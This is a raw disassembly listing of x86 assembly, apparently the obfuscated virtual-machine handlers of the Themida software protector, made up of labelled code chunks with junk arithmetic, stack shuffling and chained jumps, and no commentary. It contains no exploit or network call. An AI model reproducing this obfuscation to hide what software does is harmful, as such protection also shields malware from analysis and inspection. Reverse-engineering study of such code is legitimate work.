		dd 7D90056h, 0E3F60057h, 8F1B0056h, 0E72E0056h,	67760055h
		dd 3AD20056h, 56150056h
		db 56h,	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB3D


loc_55D2A6:				; CODE XREF: sub_59DB3D+123j
					; sub_59DB3D+12Dj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 61546CFh
		mov	eax, edi
		add	edi, 61543E7h
		cmp	eax, [edi+2Ch]
		jnz	short loc_55D2C4
		jmp	short loc_55D2D7
; ---------------------------------------------------------------------------


loc_55D2C4:				; CODE XREF: sub_59DB3D-4087Dj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_55D2D3
; ---------------------------------------------------------------------------


loc_55D2CE:				; CODE XREF: sub_59DB3D-40868j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_55D2D3:				; CODE XREF: sub_59DB3D-40871j
		or	ecx, ecx
		jnz	short loc_55D2CE


loc_55D2D7:				; CODE XREF: sub_59DB3D-4087Bj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_55D2E4:				; CODE XREF: sub_59DB3D-40852j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_55D2E4


loc_55D2ED:				; CODE XREF: Themida_:0055D40Ej
					; Themida_:loc_55D413j	...
		lodsb
		add	al, 6Ch
		push	ecx
		mov	ch, 92h
		push	edi
		mov	edi, esp
		jmp	loc_55F46F
; END OF FUNCTION CHUNK	FOR sub_59DB3D
; ---------------------------------------------------------------------------


loc_55D2FB:				; CODE XREF: Themida_:00562A05j
		mov	edi, 25AB21DBh
		mov	ebx, edi
		mov	edi, [esp]
		jmp	loc_55EAE0
; ---------------------------------------------------------------------------


loc_55D30A:				; CODE XREF: Themida_:005727FEj
		push	edi
		mov	edi, 448742C3h
		and	eax, edi
		jmp	loc_570EB7
; ---------------------------------------------------------------------------


loc_55D317:				; CODE XREF: Themida_:00564FFEj
		mov	ah, bh
		jmp	loc_564035
; ---------------------------------------------------------------------------


loc_55D31E:				; CODE XREF: Themida_:0056E1A3j
		add	esi, 2
		xchg	esi, [esp]
		jmp	loc_56BF00
; ---------------------------------------------------------------------------


loc_55D329:				; CODE XREF: Themida_:00569365j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55EF31
; ---------------------------------------------------------------------------


loc_55D334:				; CODE XREF: Themida_:0055E75Aj
		xor	ecx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_563C3B
		push	dword ptr [edi+1Ch]
		push	esi
		mov	esi, 18B74D08h
		jmp	loc_569675
; ---------------------------------------------------------------------------


loc_55D34E:				; CODE XREF: Themida_:0056A6B7j
		mov	[esp], ebx
		mov	bh, cl
		push	eax
		jmp	loc_5611BB
; ---------------------------------------------------------------------------


loc_55D359:				; CODE XREF: Themida_:00571618j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_560224
; ---------------------------------------------------------------------------


loc_55D364:				; CODE XREF: Themida_:0056C1A4j
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 5A7239E0h
		jmp	loc_5724F0
; ---------------------------------------------------------------------------


loc_55D372:				; CODE XREF: Themida_:0055F1B8j
		add	esp, 4
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		add	al, bl
		mov	ebx, [esp]
		add	esp, 4
		push	dx
		push	eax
		mov	ah, 6Dh
		push	eax
		push	ebx
		push	7288h
		jmp	loc_5657D3
; ---------------------------------------------------------------------------


loc_55D39E:				; CODE XREF: Themida_:0056D69Aj
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	al, dl
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_55F455
; ---------------------------------------------------------------------------


loc_55D3B1:				; CODE XREF: Themida_:00565481j
		add	esp, 4
		push	esi
		mov	esi, 7EE00BCBh
		push	ecx
		mov	ecx, 195E7CDBh
		xor	esi, ecx
		pop	ecx
		push	edi
		mov	edi, 47A42295h
		jmp	loc_56A33A
; ---------------------------------------------------------------------------


loc_55D3D1:				; CODE XREF: Themida_:0056DFADj
		add	bl, cl
		sub	bl, 0E0h
		sub	bl, 7Ch
		mov	ecx, [esp]
		jmp	loc_55E063
; ---------------------------------------------------------------------------


loc_55D3E1:				; CODE XREF: Themida_:0055E8E8j
		push	ebp
		mov	ebp, 52727529h
		mov	esi, 0E62DD5BDh
		add	esi, ebp
		jmp	loc_56649F
; ---------------------------------------------------------------------------


loc_55D3F3:				; CODE XREF: Themida_:0056C6C4j
		add	eax, 4B4D44E3h
		mov	edx, eax
		pop	eax
		jmp	loc_561D6C
; ---------------------------------------------------------------------------


loc_55D400:				; CODE XREF: Themida_:0056D408j
		xchg	esi, [esp]
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		or	[esp], eax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55D413:				; CODE XREF: Themida_:0055FB55j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55D418:				; CODE XREF: Themida_:00571690j
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 0C3h
		neg	ah
		jmp	loc_561337
; ---------------------------------------------------------------------------


loc_55D427:				; CODE XREF: Themida_:0056C91Bj
		or	ebp, 389D1F83h
		sub	ebp, 39FD9FAFh
		add	ecx, ebp
		pop	ebp
		push	edx
		push	56B271CAh
		jmp	loc_57253D
; ---------------------------------------------------------------------------


loc_55D441:				; CODE XREF: Themida_:0056D2A1j
		pop	ebx
		xor	ch, 0FEh
		sub	al, ch
		pop	ecx
		add	al, 4Bh
		sub	al, cl
		sub	al, 4Bh
		add	al, 9Ah
		pop	ecx
		push	ebx
		mov	ebx, esp
		jmp	loc_56485F
; ---------------------------------------------------------------------------


loc_55D459:				; CODE XREF: Themida_:005661CBj
		mov	esi, [esp]
		jmp	loc_563FEF
; ---------------------------------------------------------------------------


loc_55D461:				; CODE XREF: Themida_:0056D438j
		add	edi, 638A7EB2h
		add	edi, ebx
		sub	edi, 638A7EB2h
		add	edi, 0C200174h
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 4B009BA4h
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	5207h
		jmp	loc_5665AD
; ---------------------------------------------------------------------------


loc_55D4B0:				; CODE XREF: Themida_:0055FCD7j
		shl	esi, 1
		shl	esi, 7
		or	esi, 0ACB65A7h
		xor	esi, 7CF1E853h
		sub	ebp, esi
		pop	esi
		push	ecx
		mov	ecx, 4B693397h
		add	ecx, 13E83531h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_56B3A2
; ---------------------------------------------------------------------------


loc_55D4D8:				; CODE XREF: Themida_:0056A36Cj
		add	esp, 4
		push	2939h
		mov	[esp], edi
		push	eax
		mov	eax, 6A806AA4h
		and	eax, 16AC1C7Fh
		push	ebx
		mov	ebx, 0B5EC9547h
		sub	eax, ebx
		jmp	loc_560628
; ---------------------------------------------------------------------------


loc_55D4FB:				; CODE XREF: Themida_:0056E2A7j
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_56B068
; ---------------------------------------------------------------------------


loc_55D516:				; CODE XREF: Themida_:0056B093j
		mov	[esp], edx
		push	317Ah
		mov	[esp], eax
		push	edx
		mov	dh, 7Eh
		jmp	loc_5700F5
; ---------------------------------------------------------------------------


loc_55D529:				; CODE XREF: Themida_:0056B337j
		push	ebp
		mov	ebp, 6F027EC7h
		jmp	loc_569D18
; ---------------------------------------------------------------------------


loc_55D534:				; CODE XREF: Themida_:0056692Aj
		xor	[esp+4], esi
		push	dword ptr [esp]
		mov	esi, [esp]
		jmp	loc_56505C
; ---------------------------------------------------------------------------


loc_55D543:				; CODE XREF: Themida_:0056E32Cj
		add	edx, ecx
		jmp	loc_5707FD
; ---------------------------------------------------------------------------


loc_55D54A:				; CODE XREF: Themida_:0056CEC1j
		push	edx
		mov	edx, 34742E44h
		jmp	loc_571787
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_56B3D1
; ---------------------------------------------------------------------------


loc_55D560:				; CODE XREF: Themida_:005729D7j
		xchg	esi, [esp]
		jmp	loc_55DBC4
; ---------------------------------------------------------------------------


loc_55D568:				; CODE XREF: Themida_:0055E287j
		add	ebp, 69554C55h
		sub	ebp, 5DDD3615h
		pop	esi
		jmp	loc_571F23
; ---------------------------------------------------------------------------


loc_55D57A:				; CODE XREF: Themida_:0055ECE2j
		pop	edi
		sub	edi, 3E2F6AFDh
		add	edi, ebx
		jmp	loc_560563
; ---------------------------------------------------------------------------


loc_55D588:				; CODE XREF: Themida_:005723A8j
		add	edx, 75BC4F2Bh
		add	edx, ebp
		sub	edx, 75BC4F2Bh
		jmp	loc_56E1FD
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_566217
		add	esi, 24887364h
		push	ebx
		mov	ebx, 0DC7C6Bh
		jmp	loc_566153
; ---------------------------------------------------------------------------


loc_55D5B7:				; CODE XREF: Themida_:0056FE2Ej
		push	edx
		mov	edx, 480B2114h
		jmp	loc_56CDA2
; ---------------------------------------------------------------------------


loc_55D5C2:				; CODE XREF: Themida_:00564477j
		mov	eax, [esp]
		push	ebp
		push	esp
		jmp	loc_56C11D
; ---------------------------------------------------------------------------
		lodsw
		push	esi
		jmp	loc_5668A2
; ---------------------------------------------------------------------------


loc_55D5D4:				; CODE XREF: Themida_:0055E62Aj
		sub	ecx, esi
		mov	esi, [esp]
		jmp	loc_5687FE
; ---------------------------------------------------------------------------


loc_55D5DE:				; CODE XREF: Themida_:0055F415j
		sub	edi, ecx
		pop	ecx
		shl	edi, 5
		sub	esp, 4
		jmp	loc_56C8B8
; ---------------------------------------------------------------------------


loc_55D5EF:				; CODE XREF: Themida_:005615BAj
		pop	esp
		jmp	loc_55DFE6
; ---------------------------------------------------------------------------


loc_55D5F5:				; CODE XREF: Themida_:005674ADj
		mov	[esp], edi
		jmp	loc_56BF35
; ---------------------------------------------------------------------------


loc_55D5FD:				; CODE XREF: Themida_:005629C5j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, 2
		add	eax, edi
		jmp	loc_55F3C2
; ---------------------------------------------------------------------------


loc_55D611:				; CODE XREF: Themida_:0056167Aj
		mov	edi, 4B603F63h
		add	edi, 3A404E49h
		jmp	loc_56E8A4
; ---------------------------------------------------------------------------


loc_55D621:				; CODE XREF: Themida_:00566467j
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_565296
; ---------------------------------------------------------------------------


loc_55D62C:				; CODE XREF: Themida_:0056BB6Ej
		add	ebx, 0DFF72420h
		add	ebx, edi
		push	edx
		jmp	loc_56E7C1
; ---------------------------------------------------------------------------


loc_55D63A:				; CODE XREF: Themida_:0056B29Cj
		mov	ecx, 4
		sub	eax, 44115E7Fh
		add	eax, ecx
		add	eax, 44115E7Fh
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		mov	esi, 282C7200h
		push	esi
		add	dword ptr [esp], 252947B3h
		pop	ebx
		sub	ebx, 252947B3h
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 7D1347E6h
		add	ecx, 0AB192A1Ch
		xor	ebx, ecx
		pop	ecx
		push	edx
		mov	edx, 58E82A00h
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56E2A0
; ---------------------------------------------------------------------------


loc_55D69A:				; CODE XREF: Themida_:00563650j
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		push	edi
		mov	edi, 1F486699h
		push	edi
		pop	edx
		pop	edi
		sub	edx, 0E60DD72Fh
		xor	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	edx
		jmp	loc_568C07
; ---------------------------------------------------------------------------


loc_55D6CC:				; CODE XREF: Themida_:00560547j
		pop	esp
		jmp	loc_569915
; ---------------------------------------------------------------------------


loc_55D6D2:				; CODE XREF: Themida_:0056116Dj
		not	ebx
		sub	ebx, 5F8A32CFh
		add	ebx, 0E2AD219h
		mov	ecx, ebx
		pop	ebx
		and	ecx, 748F1CBCh
		shl	ecx, 3
		add	ecx, 7E3370A0h
		jmp	loc_56B84E
; ---------------------------------------------------------------------------


loc_55D6F7:				; CODE XREF: Themida_:0056545Ej
		and	esi, 13C01282h
		sub	esi, 26E930F5h
		shl	esi, 6
		jmp	loc_5626F5
; ---------------------------------------------------------------------------


loc_55D70B:				; CODE XREF: Themida_:0056557Aj
		mov	edx, 68AC4E35h
		push	edx
		push	ebx
		mov	ebx, 71A1355h
		add	[esp+4], ebx
		pop	ebx
		pop	edi
		sub	edi, 71A1355h
		pop	edx
		mov	edx, edi
		pop	edi
		jmp	loc_56C4A5
; ---------------------------------------------------------------------------


loc_55D72C:				; CODE XREF: Themida_:0056EFBAj
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		push	eax
		mov	eax, 7AAF11B2h
		shl	eax, 7
		jmp	loc_55DC52
; ---------------------------------------------------------------------------


loc_55D743:				; CODE XREF: Themida_:0056177Dj
		push	ebx
		mov	ebx, 0EC85888h
		add	ebp, ebx
		pop	ebx
		pop	edi
		push	eax
		mov	eax, 2
		add	ebp, eax
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_566C17
; ---------------------------------------------------------------------------


loc_55D760:				; CODE XREF: Themida_:0055F2BFj
		neg	ebp
		jmp	loc_564D26
; ---------------------------------------------------------------------------


loc_55D767:				; CODE XREF: Themida_:0056AAD2j
		add	ebp, 73C30CC7h
		jmp	loc_56A9CB
; ---------------------------------------------------------------------------


loc_55D772:				; CODE XREF: Themida_:0056B5B2j
		sub	esi, ebx
		pop	ebx
		push	edi
		mov	edi, 3B56E0Dh
		or	edi, 309732F6h
		shl	edi, 4
		and	edi, 142126E9h
		add	edi, 226BE3E1h
		add	esi, edi
		pop	edi
		add	esi, eax
		sub	esi, 328D0AC1h
		add	esi, 7F552E03h
		sub	esp, 4
		jmp	loc_563B4C
; ---------------------------------------------------------------------------


loc_55D7AC:				; CODE XREF: Themida_:0056F313j
		add	ebp, edi
		pop	edi
		jmp	loc_562903
; ---------------------------------------------------------------------------


loc_55D7B4:				; CODE XREF: Themida_:0056D91Cj
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_569B46
; ---------------------------------------------------------------------------


loc_55D7C8:				; CODE XREF: Themida_:0056A46Fj
		shl	ch, 6
		push	ebx
		jmp	loc_55F188
; ---------------------------------------------------------------------------


loc_55D7D1:				; CODE XREF: Themida_:00562747j
		pop	eax
		or	edi, 7D10175Dh
		add	edi, 374D274Eh
		and	edi, 0AFC7B44h
		shl	edi, 6
		xor	edi, 1210C104h
		add	ebx, edi
		pop	edi
		push	esi
		jmp	loc_56D8AE
; ---------------------------------------------------------------------------


loc_55D7F6:				; CODE XREF: Themida_:00566BFEj
		push	edx
		mov	dh, 29h
		not	dh
		add	dh, 0C0h
		shl	dh, 3
		jmp	loc_56759A
; ---------------------------------------------------------------------------


loc_55D806:				; CODE XREF: Themida_:00566730j
		mov	ecx, 0A555C368h
		jmp	loc_565607
; ---------------------------------------------------------------------------


loc_55D810:				; CODE XREF: Themida_:0056D428j
		mov	ecx, 672D0358h
		or	edx, ecx
		pop	ecx
		add	edx, 10426C28h
		add	ebp, 75975D85h
		add	ebp, edx
		sub	ebp, 75975D85h
		pop	edx
		push	esi
		push	ebx
		push	69AA1F91h
		pop	ebx
		inc	ebx
		sub	ebx, 686AC31h
		mov	esi, ebx
		jmp	loc_562273
; ---------------------------------------------------------------------------


loc_55D843:				; CODE XREF: Themida_:0055F851j
		mov	[esp], si
		jmp	loc_55FDEF
; ---------------------------------------------------------------------------


loc_55D84C:				; CODE XREF: Themida_:00565EFBj
		mov	ebx, 0
		jmp	loc_56F1D7
; ---------------------------------------------------------------------------


loc_55D856:				; CODE XREF: Themida_:0055DD1Dj
		push	esi
		mov	esi, 260C7109h
		and	esi, 61DA0A18h
		jmp	loc_562885
; ---------------------------------------------------------------------------


loc_55D867:				; CODE XREF: Themida_:0057281Cj
		xchg	edx, [esp]
		jmp	loc_56D1D9
; ---------------------------------------------------------------------------


loc_55D86F:				; CODE XREF: Themida_:00563F3Fj
		sub	edi, 50A57C5Ch
		jmp	loc_565257
; ---------------------------------------------------------------------------


loc_55D87A:				; CODE XREF: Themida_:00564BACj
		sub	esi, 4
		jmp	loc_560909
; ---------------------------------------------------------------------------


loc_55D885:				; CODE XREF: Themida_:0056F073j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56538E
; ---------------------------------------------------------------------------


loc_55D898:				; CODE XREF: Themida_:0056987Dj
		or	edx, eax
		jmp	loc_568E5A
; ---------------------------------------------------------------------------


loc_55D89F:				; CODE XREF: Themida_:0056FC66j
		add	esp, 4
		sub	edi, 58C97805h
		add	edi, esi
		add	edi, 58C97805h
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		push	eax
		jmp	loc_569C06
; ---------------------------------------------------------------------------


loc_55D8BF:				; CODE XREF: Themida_:0056F81Fj
		sub	esi, 30744B47h
		jmp	loc_56CD24
; ---------------------------------------------------------------------------


loc_55D8CA:				; CODE XREF: Themida_:0056E782j
		add	[esp], eax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55D8D3:				; CODE XREF: Themida_:00568696j
		pop	ebx
		jmp	loc_56D46F
; ---------------------------------------------------------------------------


loc_55D8D9:				; CODE XREF: Themida_:005626E3j
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		jmp	loc_568D86
; ---------------------------------------------------------------------------


loc_55D8E8:				; CODE XREF: Themida_:00571DD6j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_56C89E
; ---------------------------------------------------------------------------


loc_55D8F4:				; CODE XREF: Themida_:0056D4B3j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	5C40h
		mov	[esp], edx
		mov	edx, 41617875h
		jmp	loc_570C39
; ---------------------------------------------------------------------------


loc_55D929:				; CODE XREF: Themida_:0056E6FFj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebx
		push	edi
		push	1A45079Eh
		jmp	loc_56DD6B
; ---------------------------------------------------------------------------


loc_55D945:				; CODE XREF: Themida_:005622F3j
		sub	ecx, 3D9471BDh
		jmp	loc_564454
; ---------------------------------------------------------------------------


loc_55D950:				; CODE XREF: Themida_:005644FBj
		add	bl, ah
		pop	eax
		push	small 58E7h
		mov	[esp], dx
		mov	dl, 2Ah
		jmp	loc_56F376
; ---------------------------------------------------------------------------


loc_55D962:				; CODE XREF: Themida_:005603D0j
		imul	cl
		movzx	cx, ah
		push	small 4ADh
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55D97C:				; CODE XREF: Themida_:005635ABj
		add	ebx, edx
		pop	edx
		pop	ecx
		jmp	loc_569E10
; ---------------------------------------------------------------------------


loc_55D985:				; CODE XREF: Themida_:005679ECj
		sub	eax, 74800CBFh
		or	eax, 270915ECh
		push	ecx
		push	6F83h
		mov	[esp], edx
		jmp	loc_562824
; ---------------------------------------------------------------------------


loc_55D99D:				; CODE XREF: Themida_:0055ED42j
		pop	edi
		add	ecx, 0EE1B5B29h
		push	ecx
		pop	edi
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		push	3F6171FBh
		jmp	loc_56CE7A
; ---------------------------------------------------------------------------


loc_55D9BA:				; CODE XREF: Themida_:00564B09j
		pop	ecx
		push	eax
		mov	eax, 2D243C77h
		jmp	loc_560C57
; ---------------------------------------------------------------------------


loc_55D9C6:				; CODE XREF: Themida_:0055F308j
		pop	esp
		push	dword ptr [esp]
		jmp	loc_56C61F
; ---------------------------------------------------------------------------


loc_55D9CF:				; CODE XREF: Themida_:005632DDj
		sub	edx, edi
		pop	edi
		mov	ebp, [esp]
		add	esp, 4
		add	edx, 146E1FEAh
		jmp	loc_5704B3
; ---------------------------------------------------------------------------


loc_55D9E3:				; CODE XREF: Themida_:00562714j
		xor	[esp], ecx
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_56900D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_55DAF2
; ---------------------------------------------------------------------------


loc_55DA07:				; CODE XREF: Themida_:005618BBj
		pop	ebx
		shl	ebx, 7
		shl	ebx, 2
		xor	ebx, 0A8E01404h
		mov	eax, ebx
		pop	ebx
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5634E2
; ---------------------------------------------------------------------------


loc_55DA27:				; CODE XREF: Themida_:00560FCBj
		push	edx
		mov	edx, 2B1F5062h
		and	ebx, edx
		jmp	loc_563BB1
; ---------------------------------------------------------------------------


loc_55DA34:				; CODE XREF: Themida_:00564ABEj
		inc	ecx
		xchg	eax, ecx
		neg	eax
		jmp	loc_5615D3
; ---------------------------------------------------------------------------


loc_55DA3D:				; CODE XREF: Themida_:0055F695j
		add	esp, 4
		shr	edx, 7
		jmp	loc_56DC85
; ---------------------------------------------------------------------------


loc_55DA48:				; CODE XREF: Themida_:005619E5j
		dec	edi
		push	ecx
		jmp	loc_56368A
; ---------------------------------------------------------------------------


loc_55DA4F:				; CODE XREF: Themida_:00571336j
		mov	edx, [esp]
		add	esp, 4
		and	ch, al
		pop	ax
		shl	ch, 4
		jmp	loc_569289
; ---------------------------------------------------------------------------


loc_55DA64:				; CODE XREF: Themida_:0057042Bj
		add	esi, 4
		push	edi
		mov	edi, 70702E58h
		jmp	loc_56C9AA
; ---------------------------------------------------------------------------


loc_55DA75:				; CODE XREF: Themida_:00570C26j
		neg	dl
		add	dl, 0FFh
		push	ecx
		jmp	loc_56C1A9
; ---------------------------------------------------------------------------


loc_55DA80:				; CODE XREF: Themida_:0056BD36j
		pop	edx
		sub	ch, dh
		sub	ch, 60h
		mov	dx, [esp]
		add	esp, 2
		push	edx
		jmp	loc_56E370
; ---------------------------------------------------------------------------


loc_55DA96:				; CODE XREF: Themida_:0056B8F4j
		pop	eax
		jmp	loc_56BA39
; ---------------------------------------------------------------------------


loc_55DA9C:				; CODE XREF: Themida_:0056E82Ej
		and	esi, edi
		pop	edi
		jmp	loc_56C6C9
; ---------------------------------------------------------------------------


loc_55DAA4:				; CODE XREF: Themida_:00565341j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 585450E3h
		sub	edx, 1
		not	edx
		or	edx, 6641670Eh
		push	esi
		push	edi
		push	53B40D27h
		mov	edi, [esp]
		add	esp, 4
		add	edi, 53FFA0CDh
		mov	esi, edi
		pop	edi
		jmp	loc_55EC44
; ---------------------------------------------------------------------------


loc_55DAE2:				; CODE XREF: Themida_:0056071Fj
		xor	ebp, ecx
		xor	ecx, ebp
		push	ecx
		jmp	loc_55EF93
; ---------------------------------------------------------------------------


loc_55DAEC:				; CODE XREF: Themida_:005603F2j
		push	ebp
		jmp	loc_565E9B
; ---------------------------------------------------------------------------


loc_55DAF2:				; CODE XREF: Themida_:0055DA02j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55DAF7:				; CODE XREF: Themida_:0056F03Ej
		inc	edi
		xor	edi, 0C4D4E96Fh
		xor	ebp, edi
		pop	edi
		add	eax, ebp
		jmp	loc_56D456
; ---------------------------------------------------------------------------


loc_55DB08:				; CODE XREF: Themida_:00567688j
		xor	cl, 0Eh
		jmp	loc_5603B3
; ---------------------------------------------------------------------------


loc_55DB10:				; CODE XREF: Themida_:0056F932j
		pop	esp
		mov	ax, [esp]
		push	0B7Ch
		mov	[esp], edx
		jmp	loc_561AEF
; ---------------------------------------------------------------------------


loc_55DB22:				; CODE XREF: Themida_:00565E14j
		add	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, cl
		mov	[eax], bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_566A0A
; ---------------------------------------------------------------------------


loc_55DB3A:				; CODE XREF: Themida_:0056B39Dj
		mov	edi, 75A3166h
		push	ebp
		jmp	loc_55E100
; ---------------------------------------------------------------------------


loc_55DB45:				; CODE XREF: Themida_:00572ABDj
		xor	edx, [esp]
		jmp	loc_56B0AC
; ---------------------------------------------------------------------------


loc_55DB4D:				; CODE XREF: Themida_:005611DBj
		mov	ecx, 4B634909h
		sub	ecx, 11BC4B2Ch
		xor	ecx, 23DE13E5h
		jmp	loc_56C920
; ---------------------------------------------------------------------------


loc_55DB63:				; CODE XREF: Themida_:00567E25j
		add	esp, 4
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55DB6E:				; CODE XREF: Themida_:00570AAEj
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_561EFC
; ---------------------------------------------------------------------------


loc_55DB8D:				; CODE XREF: Themida_:0056ECADj
		mov	ebp, 4
		jmp	loc_57113F
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		jmp	loc_567BE4
; ---------------------------------------------------------------------------


loc_55DB9F:				; CODE XREF: Themida_:0057280Ej
		mov	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		add	dword ptr [esp], 536E4334h
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 536E4334h
		pop	eax
		jmp	loc_57171F
; ---------------------------------------------------------------------------


loc_55DBC4:				; CODE XREF: Themida_:0055D563j
		push	4B9Bh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56C482
; ---------------------------------------------------------------------------


loc_55DBD9:				; CODE XREF: Themida_:00566F02j
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_57094D
; ---------------------------------------------------------------------------


loc_55DBE4:				; CODE XREF: Themida_:00572728j
		push	ebp
		mov	ebp, 58EA48CFh
		jmp	loc_56CA8A
; ---------------------------------------------------------------------------


loc_55DBEF:				; CODE XREF: Themida_:00564AA0j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 0BFE00002h
		add	esi, ebx
		pop	ebx
		jmp	loc_560DD8
; ---------------------------------------------------------------------------


loc_55DC03:				; CODE XREF: Themida_:00565AB6j
		mov	[esp], eax
		push	esp
		jmp	loc_55E17C
; ---------------------------------------------------------------------------


loc_55DC0C:				; CODE XREF: Themida_:00561332j
		add	ebx, 7905887h
		sub	ebx, eax
		sub	ebx, 7905887h
		jmp	loc_56989F
; ---------------------------------------------------------------------------


loc_55DC1F:				; CODE XREF: Themida_:0055FD98j
		shr	cl, 6
		sub	cl, 0CAh
		jmp	loc_5713AA
; ---------------------------------------------------------------------------


loc_55DC2A:				; CODE XREF: Themida_:00567781j
		add	ebx, esi
		sub	ebx, 3BFB5464h
		add	ebx, 27906B52h
		push	ebp
		jmp	loc_5697BD
; ---------------------------------------------------------------------------


loc_55DC3E:				; CODE XREF: Themida_:005719D2j
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		jmp	loc_560995
; ---------------------------------------------------------------------------


loc_55DC52:				; CODE XREF: Themida_:0055D73Ej
		and	eax, 4B8E4FB4h
		jmp	loc_55DD02
; ---------------------------------------------------------------------------


loc_55DC5C:				; CODE XREF: Themida_:00561026j
		push	4
		mov	edx, [esp]
		add	esp, 4
		sub	eax, 7BAB6621h
		add	eax, edx
		add	eax, 7BAB6621h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	2F3Ah
		jmp	loc_56A017
; ---------------------------------------------------------------------------


loc_55DC87:				; CODE XREF: Themida_:0056AFB3j
		sub	esi, 18A13D9Dh
		xor	esi, 47309834h
		jmp	loc_56BCFF
; ---------------------------------------------------------------------------


loc_55DC98:				; CODE XREF: Themida_:0055EFACj
		xor	ecx, [esp]
		mov	esp, [esp]
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5716F8
; ---------------------------------------------------------------------------


loc_55DCB1:				; CODE XREF: Themida_:0056B4C2j
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56045E
; ---------------------------------------------------------------------------


loc_55DCC0:				; CODE XREF: Themida_:0056E120j
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_570D15
; ---------------------------------------------------------------------------


loc_55DCD8:				; CODE XREF: Themida_:005638C8j
		add	esp, 4
		push	ebp
		mov	ebp, 0DB430F8h
		and	ebp, 68A82996h
		sub	ebp, 3CA2E3CFh
		add	esi, ebp
		pop	ebp
		sub	eax, 4BED451Bh
		add	eax, esi
